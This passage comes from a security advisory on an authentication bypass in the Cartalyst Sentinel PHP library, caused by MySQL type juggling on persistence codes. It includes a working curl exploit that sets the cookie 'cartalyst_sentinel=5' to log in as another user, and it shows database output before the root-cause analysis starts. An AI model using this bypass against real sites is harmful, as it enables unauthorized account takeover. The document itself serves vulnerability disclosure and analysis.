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Now, typically once a user has logged in, they will browse various pages,
which will trigger a call to renewSession():
...........................................................................
researcher@venus:~/sentinel$ curl --cookie
'PHPSESSID=u45a6uk3o7d4r0sqmkhrghrm2u' http://localhost:8000/
logged in as john.wick@example.com
now do something
researcher@venus:~/sentinel$ curl --cookie
'PHPSESSID=u45a6uk3o7d4r0sqmkhrghrm2u' http://localhost:8000/
logged in as john.wick@example.com
now do something
[...]
...........................................................................
The renewSession() call keeps the PHP session alive by inserting entries
into a table called persistences:
...........................................................................
mysql> select id, user_id, code, updated_at from persistences;
+----+---------+----------------------------------+---------------------+
| id | user_id | code | updated_at |
+----+---------+----------------------------------+---------------------+
| 1 | 4 | B7Mk2ilTROVtNSLq2B8EKrzfNcVFUZqH | 2025-03-19 06:14:09 |
| 2 | 4 | kRQYH4X1TkdDubU86pNt4ouFjey3gi13 | 2025-03-19 06:16:23 |
| 3 | 4 | iVILzb9Xa8gMH4JfhMKCf4uJ62VOGDj2 | 2025-03-19 18:18:32 |
| 4 | 4 | NzfuKcNVlKQoCKPlXuA7fSunh3W4DWWt | 2025-03-19 18:18:32 |
[...]
| 33 | 4 | HsXIkdkFrzWhlVYySTJAhGg0OFQ4Ey89 | 2025-03-19 18:34:01 |
| 34 | 4 | jRq6kaPOxYf9mDy2sbTXhS5fgfe3gdlp | 2025-03-19 18:34:07 |
| 35 | 4 | 5M6o0sbstpSTlf2v0Rk0tch56eyZQUrT | 2025-03-19 18:34:11 |
+----+---------+----------------------------------+---------------------+
33 rows in set (0.00 sec)
...........................................................................
Look at the last entry. What do you see? The code starts with a number:
...........................................................................
mysql> select * from persistences where code=5;
+----+---------+----------------------------------+---------------------+
| id | user_id | code | updated_at |
+----+---------+----------------------------------+---------------------+
| 35 | 4 | 5M6o0sbstpSTlf2v0Rk0tch56eyZQUrT | 2025-03-19 18:34:11 |
+----+---------+----------------------------------+---------------------+
1 row in set, 33 warnings (0.01 sec)
mysql>
...........................................................................
Wait, what!? A type juggle inside MySQL! The real question is, can this
behavior be exploited through PHP code? I'll give you the tl;dr;
...........................................................................
researcher@venus:~/sentinel$ curl --cookie 'cartalyst_sentinel=5'
http://localhost:8000/
logged in as john.wick@example.com
now do something
...........................................................................
Boom, we are in as John Wick.
--[ 3. Vulnerability Analysis
Let's dive into the root cause of this issue. Actually, this is a
collection of errors that leads to a calamity. The first one, you know,
is that MySQL allows type juggling.
When a string is compared to an integer, MySQL tries to cast the string to
an integer before doing the comparison. This can lead to surprising
behavior. When the string starts with a numeric prefix ("5M6o..") then
the cast will end up as that numeric value:
...........................................................................
mysql> select CAST("5M6o0sbstpSTlf2v0Rk0tch56eyZQUrT" AS SIGNED);
+----------------------------------------------------+
| CAST("5M6o0sbstpSTlf2v0Rk0tch56eyZQUrT" AS SIGNED) |
+----------------------------------------------------+
| 5 |
+----------------------------------------------------+
1 row in set, 1 warning (0.00 sec)
...........................................................................
But how does this occur in PHP? Let's dive in.
Inside cartalyst/sentinel/src/Sentinel.php, we see the check() method:
...........................................................................
/**
* Checks to see if a user is logged in.
*
* @return \Cartalyst\Sentinel\Users\UserInterface|bool
*/
public function check()
{
if ($this->user !== null) {
return $this->user;
}
// 1
if (! $code = $this->persistences->check()) {
return false;
}